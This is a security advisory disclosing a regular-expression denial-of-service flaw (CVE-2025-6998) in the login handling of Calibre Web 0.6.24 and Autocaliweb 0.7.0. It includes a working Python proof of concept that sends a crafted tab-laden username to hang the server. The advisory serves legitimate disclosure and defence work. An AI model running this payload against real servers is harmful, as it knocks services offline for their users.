Calibre Web 0.6.24 - ReDoS

8.7

High

8.7

High

Discovered by

Johan Giraldo

Offensive Team, Fluid Attacks

Summary

Full name

Calibre Web 0.6.24 & Autocaliweb 0.7.0 - ReDoS

Code name

State

Public

Release date

Jul 24, 2025

Affected product

Calibre Web

Affected version(s)

Version 0.6.24 (Nicolette)

Vulnerability name

Asymmetric denial of service - ReDoS

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CVSS v4.0 base score

8.7

Exploit available

Yes

CVE ID(s)

Description

A ReDoS vulnerability has been identified in version 0.6.24 (Nicolette) of the Calibre Web web application, located in the cps/string_helper.py file. This allows unauthenticated users to cause disruption simply by crafting and sending a payload while attempting to log in. The Autocaliweb version 0.7.0 has also been confirmed as vulnerable to the same attack.

Vulnerability

The issue lies in the strip_whitespaces() function in the cps/string_helper.py file, which uses a regular expression that is vulnerable to catastrophic backtracking when processing specially crafted input. This function is applied directly to the username parameter, both during login and as part of the rate-limiting logic via @limiter.limit(), making it exploitable without authentication.

This causes the backend to hang for a significant amount of time.

PoC

import requests
import re


target = "http://localhost:8083/login"
payload = '\x00' + ('\t' * 54773) + '\t\x00'

session = requests.Session()

# obtaining csrf_token
response = session.get(target)
csrf_token = re.search(r'name="csrf_token" value="([^"]+)"', response.text).group(1)

# sending payload
body = {
    "csrf_token": csrf_token,
    "username":   payload,
    "password":   "pwned"
}
response = session.post(target, data=body)

print(response.headers)

Evidence of Exploitation

Notice that using the same quantity of characters as a payload doesn't bring down the server, unlike using the ReDoS payload.

Autocaliweb is also vulnerable to the same attack:

Our security policy

We have reserved the ID CVE-2025-6998 to refer to this issue from now on.

Disclosure policy

System Information

Calibre Web:

  • Version 0.6.24 (Nicolette)

  • Operative System: Any

Autocaliweb:

  • Version 0.7.0

References

Calibre Web:

Autocaliweb:

Mitigation

There is currently no patch available for this vulnerability on Calibre Web project.

Autocaliweb version 0.7.1 has patched this vulnerability.

Credits

The vulnerability was discovered by Johan Giraldo from Fluid Attacks' Offensive Team.

Timeline

Vulnerability discovered

Jun 19, 2025

Vendor contacted

Jul 2, 2025

Public disclosure

Jul 24, 2025

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.